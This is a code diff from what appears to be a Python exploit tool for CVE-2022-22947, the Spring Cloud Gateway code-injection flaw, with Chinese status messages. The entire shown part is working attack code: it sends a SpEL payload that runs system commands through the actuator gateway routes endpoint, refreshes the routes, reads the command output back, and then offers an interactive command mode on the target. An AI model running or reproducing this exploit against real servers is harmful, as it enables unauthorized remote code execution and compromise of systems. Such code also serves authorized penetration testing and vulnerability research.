@@ -139,15 +139,6 @@ def CVE_2022_22947(url, proxies, header_new):
139139 headers1 = json .loads (str (JSON_handle (oldHeader_1 , header_new )).replace ("'" , "\" " ))
140140 headers2 = json .loads (str (JSON_handle (oldHeader_2 , header_new )).replace ("'" , "\" " ))
141141 vul_status = 0
142- payload_linux = '''{\r
143- "id": "hacktest",\r
144- "filters": [{\r
145- "name": "AddResponseHeader",\r
146- "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\ "id\\ "}).getInputStream()))}"}\r
147- }],\r
148- "uri": "http://example.com",\r
149- "order": 0\r
150- }'''
151142
152143 payload_windows = '''{\r
153144 "id": "hacktest",\r
@@ -158,37 +149,37 @@ def CVE_2022_22947(url, proxies, header_new):
158149 "uri": "http://example.com",\r
159150 "order": 0\r
160151 }'''
161-
152+ payload_linux = payload_windows .replace ('dir' , 'id' )
153+
162154 try :
163- if vul_status == 0 :
164- cprint ("[+] 正在发送Linux的Payload" ,"green" )
155+ cprint ("[+] 正在发送Linux的Payload" ,"green" )
156+ requests .packages .urllib3 .disable_warnings ()
157+ re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_linux , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
158+ re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
159+ re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
160+ if ('uid=' in str (re3 .text )) and ('gid=' in str (re3 .text )) and ('groups=' in str (re3 .text )):
161+ cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
162+ print ('\n ' )
163+ print (re3 .text )
164+ print ('\n ' )
165+ print ("[+] 执行命令模块(输入exit退出)" )
166+ vul_status = 1
167+ else :
168+ cprint ("[.] Linux的Payload没成功,清理缓存" ,"green" )
169+ re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
170+ re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
171+ cprint ("[+] 正在发送Windows的Payload" ,"green" )
165172 requests .packages .urllib3 .disable_warnings ()
166- re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_linux , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
173+ re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_windows , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
167174 re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
168175 re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
169- if ('uid=' in str ( re3 . text )) and ( 'gid=' in str ( re3 . text )) and ( 'groups= ' in str (re3 .text )):
176+ if ('<DIR> ' in str (re3 .text )):
170177 cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
171178 print ('\n ' )
172179 print (re3 .text )
173180 print ('\n ' )
174181 print ("[+] 执行命令模块(输入exit退出)" )
175182 vul_status = 1
176- else :
177- cprint ("[.] Linux的Payload没成功,清理缓存" ,"green" )
178- re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
179- re5 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
180- cprint ("[+] 正在发送Windows的Payload" ,"green" )
181- requests .packages .urllib3 .disable_warnings ()
182- re1 = requests .post (url = url + "actuator/gateway/routes/hacktest" , data = payload_windows , headers = headers1 , json = json , timeout = 10 ,verify = False , proxies = proxies )
183- re2 = requests .post (url = url + "actuator/gateway/refresh" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
184- re3 = requests .get (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
185- if ('<DIR>' in str (re3 .text )):
186- cprint ("[+] Payload已经输出,回显结果如下:" , "red" )
187- print ('\n ' )
188- print (re3 .text )
189- print ('\n ' )
190- print ("[+] 执行命令模块(输入exit退出)" )
191- vul_status = 1
192183 if vul_status == 0 :
193184 cprint ("[-] CVE-2022-22947漏洞不存在\n " , "yellow" )
194185 re4 = requests .delete (url = url + "actuator/gateway/routes/hacktest" , headers = headers2 , timeout = 10 ,verify = False , proxies = proxies )
0 commit comments